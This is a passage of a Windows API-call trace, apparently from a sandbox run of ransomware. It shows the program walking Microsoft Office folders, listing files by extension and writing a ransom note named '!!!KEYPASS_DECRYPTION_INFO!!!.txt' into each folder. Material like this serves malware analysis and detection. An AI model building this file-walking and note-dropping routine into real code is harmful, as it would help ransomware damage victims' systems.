Office\\root\\Office16\\osfFPA\\addins.xml") returned=".xml" [0264.481] FindNextFileW (in: hFindFile=0x4e2ba48, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.481] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OSFPROXY.DLL") returned=".DLL" [0264.481] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.481] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OSFROAMINGPROXY.DLL") returned=".DLL" [0264.481] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OSFSHARED.DLL") returned=".DLL" [0264.482] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OSFUI.DLL") returned=".DLL" [0264.482] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLCTL.DLL") returned=".DLL" [0264.482] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT") returned=".DAT" [0264.482] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DLL") returned=".DLL" [0264.482] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLMIME.DLL") returned=".DLL" [0264.482] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.482] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE") returned=".EXE" [0264.482] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE.MANIFEST") returned=".MANIFEST" [0264.543] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.543] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml") returned=".xml" [0264.543] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.543] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.543] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.543] GetLastError () returned 0x3f0 [0264.543] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.543] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb84 [0264.559] GetFileType (hFile=0xb84) returned 0x1 [0264.559] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.559] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.559] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.560] WriteFile (in: hFile=0xb84, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.560] WriteFile (in: hFile=0xb84, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.561] CloseHandle (hObject=0xb84) returned 1 [0264.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2ba88 [0264.561] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.565] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\AMERITECH.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\BTINTERNET.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\FLASH.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\GMAIL.COM.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\NL.ROGERS.COM.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\NVBELL.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\PACBELL.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\PRODIGY.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\ROGERS.COM.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\SNET.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\SWBELL.NET.XML") returned=".XML" [0264.566] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.566] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\TALK21.COM.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\WANS.NET.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CA.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.ID.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.IN.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.JP.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.KR.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.TH.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.CO.UK.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.AR.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.AU.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.BR.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.CN.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.567] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.HK.XML") returned=".XML" [0264.567] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.MX.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.MY.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.PH.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.SG.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.TW.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.VN.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.DE.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.ES.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.FR.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.HK.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.IE.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.IT.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.568] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.JP.XML") returned=".XML" [0264.568] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.NO.XML") returned=".XML" [0264.569] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.PL.XML") returned=".XML" [0264.569] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.SE.XML") returned=".XML" [0264.569] FindNextFileW (in: hFindFile=0x4e2ba88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0264.569] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookServicing.DLL") returned=".DLL" [0264.569] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLPH.DLL") returned=".DLL" [0264.569] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLRPC.DLL") returned=".DLL" [0264.569] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLVBS.DLL") returned=".DLL" [0264.569] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.569] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\OWSSUPP.DLL") returned=".DLL" [0264.569] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0264.569] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0264.569] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0264.569] GetLastError () returned 0x3f0 [0264.569] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0264.569] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0264.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb88 [0264.584] GetFileType (hFile=0xb88) returned 0x1 [0264.584] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0264.584] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0264.585] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0264.585] WriteFile (in: hFile=0xb88, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0264.585] WriteFile (in: hFile=0xb88, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0264.586] CloseHandle (hObject=0xb88) returned 1 [0264.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x4e2be88 [0264.586] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL001.XML") returned=".XML" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL002.XML") returned=".XML" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL010.XML") returned=".XML" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL011.XML") returned=".XML" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL012.XML") returned=".XML" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL016.XML") returned=".XML" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL020.XML") returned=".XML" [0264.598] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.598] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL022.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL026.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL027.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL044.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL048.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL054.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0264.599] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL058.XML") returned=".XML" [0264.599] FindNextFileW (in: hFindFile=0x4e2be88, 